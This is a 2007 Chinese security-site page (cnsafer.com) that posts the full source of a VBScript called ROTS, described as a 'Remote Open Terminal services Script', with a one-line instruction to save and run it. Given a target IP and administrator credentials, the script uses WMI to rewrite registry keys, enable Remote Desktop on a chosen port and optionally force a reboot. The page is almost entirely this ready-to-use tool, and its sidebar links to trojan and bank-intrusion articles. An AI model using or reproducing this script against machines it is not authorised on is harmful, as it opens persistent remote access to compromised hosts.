执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
提升权限 把无法删除的病毒扫地出门
Aspx的一句话木马
国外的一篇手工注入的文章
Linux下 改IP
做个自己站内搜索引擎
MySQL中修改密码及访问限制设置详解
轻松八句话就可教会你完全搞定MySQ
教你突破网银系统
如何解决电脑无法复制粘贴文件
找回“本地连接”
3389脚本开启代码(vbs版)
作者:佚名 来源:安全在线 更新时间:2007-10-5 21:29:24 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

将以下代码复制到记事本里并保存为rots.vbs
以下是代码片段:
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
    set objShell=wscript.createObject("wscript.shell")
    objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
    wscript.quit
end if
if wscript.arguments.count<3 then
    usage()
    wscript.echo "Not enough parameters."
    wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
    port=wscript.arguments(3)
else
    port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
    wscript.echo "The number of port is error."
    wscript.quit
end if
if wscript.arguments.count>4 then
    reboot=wscript.arguments(4)
else
    reboot=""
end if

usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
showerror(err.number)

outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
    if instr(objinstoscaption.caption,"Server")>0 then
       wscript.echo "OK!"
    else
       wscript.echo "OS type is "&objinstoscaption.caption
       outstreem.write "Do you want to cancel setup?[y/n]"
       strcancel=instreem.read
       if lcase(strcancel)<>"n" then wscript.quit
    end if
next

outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
with objinstreg
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
.setstringvalue HKLM,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
end with
showerror(err.number)

rebt=lcase(reboot)
if rebt="/r" or rebt="-r" or rebt="\r" then
    outstreem.write "Now, reboot target...."
    strwqlquery="select * from win32_operatingsystem where primary=''''true''''"
    set colinstances=objswbemservices.execquery(strwqlquery)
    for each objinstance in colinstances
       objinstance.win32shutdown(6)
    next
    showerror(err.number)
else
    wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"

function showerror(errornumber)
if errornumber Then
    wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
    if err.description <> "" then
       wscript.echo "Error description: "&err.description&"."
    end if
    wscript.quit
else
    wscript.echo "OK!"
end if
end function

function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.01"
wscript.echo "Remote Open Terminal services Script, by zzzEVAzzz"
wscript.echo "Welcome to visite
www.isgrey.com"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo string(79,"*")&vbcrlf
end function

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2007 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    友情提示:建议使用IE6.0版本, 分辩率1024*768进行浏览
    中国安全在线 敢想 敢做 挑战自我 努力做最好
    中网科技有限公司 技术支持 鄂ICP备05006475号